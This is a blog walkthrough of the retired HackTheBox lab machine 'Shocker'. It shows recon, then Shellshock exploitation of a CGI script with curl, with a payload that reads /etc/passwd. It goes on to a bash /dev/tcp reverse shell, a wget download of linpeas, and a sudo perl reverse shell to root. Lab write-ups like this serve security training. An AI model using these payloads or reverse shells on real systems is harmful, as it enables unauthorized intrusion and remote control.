Skip to main content

HackTheBox - Shocker - Retired - Update

HacktheBox - Shocker - Retired 



Recon

I've been using threader3000 for my recon scan lately. It does a super quick threaded up/down scan on all TCP ports then recommends a nmap scan based on those results. It saves the nmap scan as an xml file for you too.


I like to convert the XML to HTML to make it easy to read.


xsltproc ./shocker.htb/shocker.htb.xml -o ./shocker.html





Just two ports open, nmap says it's an ubuntu box.


Port 80         Apache         2.4.18

Port         2222 OpenSSH 7.2p2



That's a non-standard port for SSH usually we see it on the default port of 22.


Let's see what apache is serving us.



Weird. The source code doesn't give us much to go on either.


Let's try a brute force scan on port 80 to see if we can find some other pages or directories that might give us more.



We didn't get much back from dirb except two things that we don't have access to



So this image got me thinking, I'm sure how you would get here without previous knowledge but

The image looks like some sort of bug…. Being bashed.  As in Bash Bug… and then the name of the box shocker…..


Shellshocker bash bug


https://github.com/opsxcq/exploit-CVE-2014-6271


I wonder if we can find a .sh file on here we might be able to leverage.


We can tell dirb to search for specific extensions using the -X switch



Bingo


user.sh

Content-Type: text/plain

Just an uptime test script

20:18:48 up  1:30,  0 users,  load average: 0.00, 0.00, 0.00




Exploit



Ok so if this susceptible to shellshock we should be able to modify this to get us /etc/passwd


curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable



So ours would look like this


curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://shocker.htb/cgi-bin/user.sh





Yeah boy… we we found a potential path to a foothold on shocker



Let's see if we can get a pingback from shocker.


First let's setup tcpdump to capture any icmp traffic on our VPN tunnel


tcpdump -i tun0 -n icmp



Then we just modify our curl request. To do ping -c4 10.10.14.19


curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'ping -c 4 10.10.14.19'" \
> http://shocker.htb/cgi-bin/user.sh



We do, awesome


Let's start with setting up our listener on our kali box


nc -lnvp 5555


I tried modifying this to do a netcat connection back but I never caught a shell.


So I googled reverse shells and went to payloadallthethings to find some different shells to try


https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md


Now let's try a bash reverse shell shell which looks like this

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1


Modify this to be our IP and Port


bash -i >& /dev/tcp/10.10.14.19/5555 0>&1


And replace the command section of our curl request so it would look like 

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/5555 0>&1'" \
http://shocker.htb/cgi-bin/user.sh


And we finally caught our shell, our foothold





From here we can get the user.txt 


Now we need to figure out how to escalate to root..


I used updog on mykali box to serv linpeas.sh over to shocker.


wget http://10.10.14.19:9090/linpeas.sh


Then gave linpeas execution rights


chmod +x ./linpeas.sh


Linpeas is a script that polls alot of information about the system and highlight potential vectors on privilege escalation. I use this on almost all linux boxes.


https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS


Check out what it found.







Shelly can run perl as root without a password ( which is handy since we don't know what their password is )


And back on the payloadallthethings site there is a perl based reverse shell we can try to use.


perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



So let's setup a new listener on kali to try and catch this shell


nc -lncp 5566



Then we can just modify their perl command to be our ip and new port we are listening on


perl -e 'use Socket;$i="10.10.14.19";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



Then throw a sudo in front of it so it runs as root.

shelly@Shocker:$ sudo perl -e 'use Socket;$i="10.10.14.19";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
<en(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};



And just like that we are root



 And we can cat out the root flag.







Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

Hack The Box - Retired - Laboratory

HackTheBox - Laboratory - Retired Starting off with a quick scan using threader6000 /opt/threader3000/threader6000.py 10.10.10.216 Ports 22,80,443 came back. Run nmap against these ports. nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency). PORT    STATE SERVICE  VERSION 22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp  open  http     Apache httpd 2.4.41 |_...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor